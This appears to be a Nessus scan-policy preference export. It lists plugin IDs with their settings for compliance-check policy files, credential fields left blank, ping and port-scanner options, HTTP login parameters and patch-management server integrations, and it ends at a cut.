+72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Address : +K1000 Address : +entry + + + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Database Port : +K1000 Database Port : +entry +3306 +3306 + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Organization Database Name : +K1000 Organization Database Name : +entry +ORG1 +ORG1 + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Database Username : +K1000 Database Username : +entry +R1 +R1 + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[password]:K1000 Database Password : +K1000 Database Password : +password + + + +Do not scan fragile devices +22481 +Do not scan fragile devices[checkbox]:Scan Network Printers +Scan Network Printers +checkbox +no +no + +Do not scan fragile devices +22481 +Do not scan fragile devices[checkbox]:Scan Novell Netware hosts +Scan Novell Netware hosts +checkbox +no +no + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Service Detection +22964 +Service Detection[radio]:Test SSL based services +Test SSL based services +radio +Known SSL ports;All;None +All ports + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Global variable settings +12288 +Global variable settings[checkbox]:Probe services on every port +Probe services on every port +checkbox +yes +yes + +Global variable settings +12288 +Global variable settings[checkbox]:Do not log in with user accounts not specified in the policy +Do not log in with user accounts not specified in the policy +checkbox +no +yes + +Global variable settings +12288 +Global variable settings[checkbox]:Enable CGI scanning +Enable CGI scanning +checkbox +no +no + +Global variable settings +12288 +Global variable settings[radio]:Network type +Network type +radio +Mixed (use RFC 1918);Private LAN;Public WAN (Internet) +Mixed (use RFC 1918) + +Global variable settings +12288 +Global variable settings[checkbox]:Enable experimental scripts +Enable experimental scripts +checkbox +no +no + +Global variable settings +12288 +Global variable settings[checkbox]:Thorough tests (slow) +Thorough tests (slow) +checkbox +no +no + +Global variable settings +12288 +Global variable settings[radio]:Report verbosity +Report verbosity +radio +Normal;Quiet;Verbose +Normal + +Global variable settings +12288 +Global variable settings[radio]:Report paranoia +Report paranoia +radio +Normal;Avoid false alarms;Paranoid (more false alarms) +Normal + +Global variable settings +12288 +Global variable settings[entry]:HTTP User-Agent +HTTP User-Agent +entry +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) + +Global variable settings +12288 +Global variable settings[file]:SSL certificate to use : +SSL certificate to use : +file + + + +Global variable settings +12288 +Global variable settings[file]:SSL CA to trust : +SSL CA to trust : +file + + + +Global variable settings +12288 +Global variable settings[file]:SSL key to use : +SSL key to use : +file + + + +Global variable settings +12288 +Global variable settings[password]:SSL password for SSL key : +SSL password for SSL key : +password + + + +Global variable settings +12288 +Global variable settings[checkbox]:Enumerate all SSL ciphers +Enumerate all SSL ciphers +checkbox +yes +yes + +Global variable settings +12288 +Global variable settings[checkbox]:Enable CRL checking (connects to Internet) +Enable CRL checking (connects to Internet) +checkbox +no +no + +Global variable settings +12288 +Global variable settings[checkbox]:Enable plugin debugging +Enable plugin debugging +checkbox +no +no + +Good MDM Settings +66963 +Good MDM Settings[entry]:GMC Server : +GMC Server : +entry + + + +Good MDM Settings +66963 +Good MDM Settings[entry]:Port : +Port : +entry + + + +Good MDM Settings +66963 +Good MDM Settings[entry]:Domain : +Domain : +entry + + + +Good MDM Settings +66963 +Good MDM Settings[entry]:Username : +Username : +entry + + + +Good MDM Settings +66963 +Good MDM Settings[password]:Password : +Password : +password + + + +Good MDM Settings +66963 +Good MDM Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +Good MDM Settings +66963 +Good MDM Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Hosts File Whitelisted Entries +73980 +Hosts File Whitelisted Entries[file]:Upload file with custom hosts entries : +Upload file with custom hosts entries : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[radio]:HP ProCurve File To Audit : +HP ProCurve File To Audit : +radio +Saved/(show config);Default/(show default-config);Running/(show running-config) +Saved/(show config) + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +HTTP cookies import +42893 +HTTP cookies import[file]:Cookies file : +Cookies file : +file + + + +HTTP login page +11149 +HTTP login page[entry]:Login page : +Login page : +entry +/ +/ + +HTTP login page +11149 +HTTP login page[entry]:Login form : +Login form : +entry + + + +HTTP login page +11149 +HTTP login page[entry]:Login form fields : +Login form fields : +entry +user=%USER%&pass=%PASS% +user=%USER%&pass=%PASS% + +HTTP login page +11149 +HTTP login page[radio]:Login form method : +Login form method : +radio +POST;GET +POST + +HTTP login page +11149 +HTTP login page[checkbox]:Automated login page search +Automated login page search +checkbox +no +no + +HTTP login page +11149 +HTTP login page[entry]:Re-authenticate delay (seconds) : +Re-authenticate delay (seconds) : +entry + +0 + +HTTP login page +11149 +HTTP login page[entry]:Check authentication on page : +Check authentication on page : +entry + + + +HTTP login page +11149 +HTTP login page[entry]:Follow 30x redirections (# of levels) : +Follow 30x redirections (# of levels) : +entry +2 +0 + +HTTP login page +11149 +HTTP login page[entry]:Authenticated regex : +Authenticated regex : +entry + + + +HTTP login page +11149 +HTTP login page[checkbox]:Invert test (disconnected if regex matches) +Invert test (disconnected if regex matches) +checkbox +no +no + +HTTP login page +11149 +HTTP login page[checkbox]:Match regex on HTTP headers +Match regex on HTTP headers +checkbox +no +no + +HTTP login page +11149 +HTTP login page[checkbox]:Case insensitive regex +Case insensitive regex +checkbox +no +no + +HTTP login page +11149 +HTTP login page[checkbox]:Abort web application tests if login fails +Abort web application tests if login fails +checkbox +no +no + +Remote web server screenshot +59861 +Remote web server screenshot[checkbox]:Allow Nessus to connect to the cloud to take a screenshot of the public targets +Allow Nessus to connect to the cloud to take a screenshot of the public targets +checkbox +no +no + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Server : +Web Reports Server : +entry + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Port : +Web Reports Port : +entry + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Username : +Web Reports Username : +entry + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[password]:Web Reports Password : +Web Reports Password : +password + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[checkbox]:SSL +SSL +checkbox +no +no + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Active Outbound Connection to Host Listed in Known Bot Database +58430 +Active Outbound Connection to Host Listed in Known Bot Database[file]:Custom Netstat IP Threat List : +Custom Netstat IP Threat List : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +IBM iSeries Credentials +57861 +IBM iSeries Credentials[entry]:Login : +Login : +entry + + + +IBM iSeries Credentials +57861 +IBM iSeries Credentials[password]:Password : +Password : +password + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Kerberos configuration +17351 +Kerberos configuration[entry]:Kerberos Key Distribution Center (KDC) : +Kerberos Key Distribution Center (KDC) : +entry + + + +Kerberos configuration +17351 +Kerberos configuration[entry]:Kerberos KDC Port : +Kerberos KDC Port : +entry +88 +88 + +Kerberos configuration +17351 +Kerberos configuration[radio]:Kerberos KDC Transport : +Kerberos KDC Transport : +radio +tcp +tcp + +Kerberos configuration +17351 +Kerberos configuration[entry]:Kerberos Realm (SSH only) : +Kerberos Realm (SSH only) : +entry + + + +LDAP 'Domain Admins' Group Membership Enumeration +58038 +LDAP 'Domain Admins' Group Membership Enumeration[entry]:LDAP user : +LDAP user : +entry + + + +LDAP 'Domain Admins' Group Membership Enumeration +58038 +LDAP 'Domain Admins' Group Membership Enumeration[password]:LDAP password : +LDAP password : +password + + + +LDAP 'Domain Admins' Group Membership Enumeration +58038 +LDAP 'Domain Admins' Group Membership Enumeration[entry]:Max results : +Max results : +entry +1000 +1000 + +Login configurations +10870 +Login configurations[entry]:HTTP account : +HTTP account : +entry + + + +Login configurations +10870 +Login configurations[password]:HTTP password (sent in clear) : +HTTP password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:NNTP account : +NNTP account : +entry + + + +Login configurations +10870 +Login configurations[password]:NNTP password (sent in clear) : +NNTP password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:FTP account : +FTP account : +entry +anonymous +anonymous + +Login configurations +10870 +Login configurations[password]:FTP password (sent in clear) : +FTP password (sent in clear) : +password +nessus@nessus.org +********* + +Login configurations +10870 +Login configurations[entry]:FTP writeable directory : +FTP writeable directory : +entry +/incoming +/incoming + +Login configurations +10870 +Login configurations[entry]:POP2 account : +POP2 account : +entry + + + +Login configurations +10870 +Login configurations[password]:POP2 password (sent in clear) : +POP2 password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:POP3 account : +POP3 account : +entry + + + +Login configurations +10870 +Login configurations[password]:POP3 password (sent in clear) : +POP3 password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:IMAP account : +IMAP account : +entry + + + +Login configurations +10870 +Login configurations[password]:IMAP password (sent in clear) : +IMAP password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:IPMI account : +IPMI account : +entry + + + +Login configurations +10870 +Login configurations[password]:IPMI password (sent in clear) : +IPMI password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:SMB account : +SMB account : +entry + + + +Login configurations +10870 +Login configurations[password]:SMB password : +SMB password : +password + + + +Login configurations +10870 +Login configurations[entry]:SMB domain (optional) : +SMB domain (optional) : +entry + + + +Login configurations +10870 +Login configurations[radio]:SMB password type : +SMB password type : +radio +Password;LM Hash;NTLM Hash +Password;LM Hash;NTLM Hash + +Login configurations +10870 +Login configurations[entry]:Additional SMB account (1) : +Additional SMB account (1) : +entry + + + +Login configurations +10870 +Login configurations[password]:Additional SMB password (1) : +Additional SMB password (1) : +password + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB domain (optional) (1) : +Additional SMB domain (optional) (1) : +entry + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB account (2) : +Additional SMB account (2) : +entry + + + +Login configurations +10870 +Login configurations[password]:Additional SMB password (2) : +Additional SMB password (2) : +password + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB domain (optional) (2) : +Additional SMB domain (optional) (2) : +entry + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB account (3) : +Additional SMB account (3) : +entry + + + +Login configurations +10870 +Login configurations[password]:Additional SMB password (3) : +Additional SMB password (3) : +password + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB domain (optional) (3) : +Additional SMB domain (optional) (3) : +entry + + + +Login configurations +10870 +Login configurations[checkbox]:Never send SMB credentials in clear text +Never send SMB credentials in clear text +checkbox +yes +yes + +Login configurations +10870 +Login configurations[checkbox]:Only use NTLMv2 +Only use NTLMv2 +checkbox +no +yes + +Login configurations +10870 +Login configurations[checkbox]:Only use Kerberos authentication for SMB +Only use Kerberos authentication for SMB +checkbox +no +no + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:Username : +Username : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[password]:Password : +Password : +password + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:Root URL : +Root URL : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:Platform ID : +Platform ID : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:Billing ID : +Billing ID : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:App ID : +App ID : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:App version : +App version : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:App access key : +App access key : +entry + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +MobileIron API Settings +72904 +MobileIron API Settings[entry]:MobileIron VSP Admin Portal URL : +MobileIron VSP Admin Portal URL : +entry + + + +MobileIron API Settings +72904 +MobileIron API Settings[entry]:MobileIron port : +MobileIron port : +entry + + + +MobileIron API Settings +72904 +MobileIron API Settings[entry]:MobileIron username : +MobileIron username : +entry + + + +MobileIron API Settings +72904 +MobileIron API Settings[password]:MobileIron password : +MobileIron password : +password + + + +MobileIron API Settings +72904 +MobileIron API Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +MobileIron API Settings +72904 +MobileIron API Settings[checkbox]:Verify SSL certificate : +Verify SSL certificate : +checkbox +no +no + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +MongoDB Settings +76512 +MongoDB Settings[entry]:Username : +Username : +entry + + + +MongoDB Settings +76512 +MongoDB Settings[password]:Password : +Password : +password + + + +MongoDB Settings +76512 +MongoDB Settings[entry]:Database for authentication : +Database for authentication : +entry + + + +MongoDB Settings +76512 +MongoDB Settings[entry]:Port : +Port : +entry +27017 +27017 + +Nessus TCP scanner +10335 +Nessus TCP scanner[radio]:Firewall detection : +Firewall detection : +radio +Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive) +Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive) + +Nessus SYN scanner +11219 +Nessus SYN scanner[radio]:Firewall detection : +Firewall detection : +radio +Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive) +Automatic (normal) + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Oracle Settings +22076 +Oracle Settings[radio]:Oracle service type : +Oracle service type : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Oracle Settings +22076 +Oracle Settings[entry]:Oracle SID : +Oracle SID : +entry + + + +Oracle Settings +22076 +Oracle Settings[checkbox]:Test default accounts (slow) +Test default accounts (slow) +checkbox +no +no + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[entry]:Palo Alto Username : +Palo Alto Username : +entry + + + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[password]:Palo Alto Password : +Palo Alto Password : +password + + + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[entry]:Palo Alto Port : +Palo Alto Port : +entry +443 +443 + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Patch Report +66334 +Patch Report[checkbox]:Display the superseded patches in the report +Display the superseded patches in the report +checkbox +yes +no + +PCI DSS compliance +33929 +PCI DSS compliance[checkbox]:Check for PCI-DSS compliance +Check for PCI-DSS compliance +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[entry]:TCP ping destination port(s) : +TCP ping destination port(s) : +entry +built-in +built-in + +Ping the remote host +10180 +Ping the remote host[checkbox]:Do an ARP ping +Do an ARP ping +checkbox +yes +yes + +Ping the remote host +10180 +Ping the remote host[checkbox]:Do a TCP ping +Do a TCP ping +checkbox +yes +yes + +Ping the remote host +10180 +Ping the remote host[checkbox]:Do an ICMP ping +Do an ICMP ping +checkbox +yes +yes + +Ping the remote host +10180 +Ping the remote host[entry]:Number of retries (ICMP) : +Number of retries (ICMP) : +entry +2 +2 + +Ping the remote host +10180 +Ping the remote host[checkbox]:Do an applicative UDP ping (DNS,RPC...) +Do an applicative UDP ping (DNS,RPC...) +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[checkbox]:Make the dead hosts appear in the report +Make the dead hosts appear in the report +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[checkbox]:Log live hosts in the report +Log live hosts in the report +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[checkbox]:Test the local Nessus host +Test the local Nessus host +checkbox +yes +yes + +Ping the remote host +10180 +Ping the remote host[checkbox]:Fast network discovery +Fast network discovery +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[checkbox]:Interpret ICMP unreach from gateway +Interpret ICMP unreach from gateway +checkbox +no +no + +Port scanners settings +33812 +Port scanners settings[checkbox]:Check open TCP ports found by local port enumerators +Check open TCP ports found by local port enumerators +checkbox +no +no + +Port scanners settings +33812 +Port scanners settings[checkbox]:Only run network port scanners if local port enumeration failed +Only run network port scanners if local port enumeration failed +checkbox +yes +yes + +RHEV Settings +77089 +RHEV Settings[entry]:Username : +Username : +entry + + + +RHEV Settings +77089 +RHEV Settings[password]:Password : +Password : +password + + + +RHEV Settings +77089 +RHEV Settings[entry]:Port : +Port : +entry +443 +443 + +RHEV Settings +77089 +RHEV Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Salesforce.com Settings +76710 +Salesforce.com Settings[entry]:Username : +Username : +entry + + + +Salesforce.com Settings +76710 +Salesforce.com Settings[password]:Password : +Password : +password + + + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[entry]:Satellite 6 Server : +Satellite 6 Server : +entry + + + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[entry]:Satellite 6 Port : +Satellite 6 Port : +entry +443 +443 + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[checkbox]:Satellite 6 Use SSL : +Satellite 6 Use SSL : +checkbox +yes +yes + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[checkbox]:Satellite 6 Verify Certificate : +Satellite 6 Verify Certificate : +checkbox +yes +yes + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[entry]:Satellite 6 Username : +Satellite 6 Username : +entry + + + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[password]:Satellite 6 Password : +Satellite 6 Password : +password + + + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite server(s) [separated w/ semicolons] : +Red Hat Satellite server(s) [separated w/ semicolons] : +entry + + + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite port(s) : +Red Hat Satellite port(s) : +entry +443 +443 + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[checkbox]:Verify SSL certificates : +Verify SSL certificates : +checkbox +no +no + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite username(s) : +Red Hat Satellite username(s) : +entry + + + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[password]:Red Hat Satellite password(s) : +Red Hat Satellite password(s) : +password + + + +ICCP/COTP TSAP Addressing Weakness +23812 +ICCP/COTP TSAP Addressing Weakness[entry]:Start COTP TSAP : +Start COTP TSAP : +entry +8 +8 + +ICCP/COTP TSAP Addressing Weakness +23812 +ICCP/COTP TSAP Addressing Weakness[entry]:Stop COTP TSAP : +Stop COTP TSAP : +entry +8 +8 + +Modbus/TCP Coil Access +23817 +Modbus/TCP Coil Access[entry]:Start reg : +Start reg : +entry +0 +0 + +Modbus/TCP Coil Access +23817 +Modbus/TCP Coil Access[entry]:End reg : +End reg : +entry +16 +16 + +Salesforce.com Compliance Checks +76711 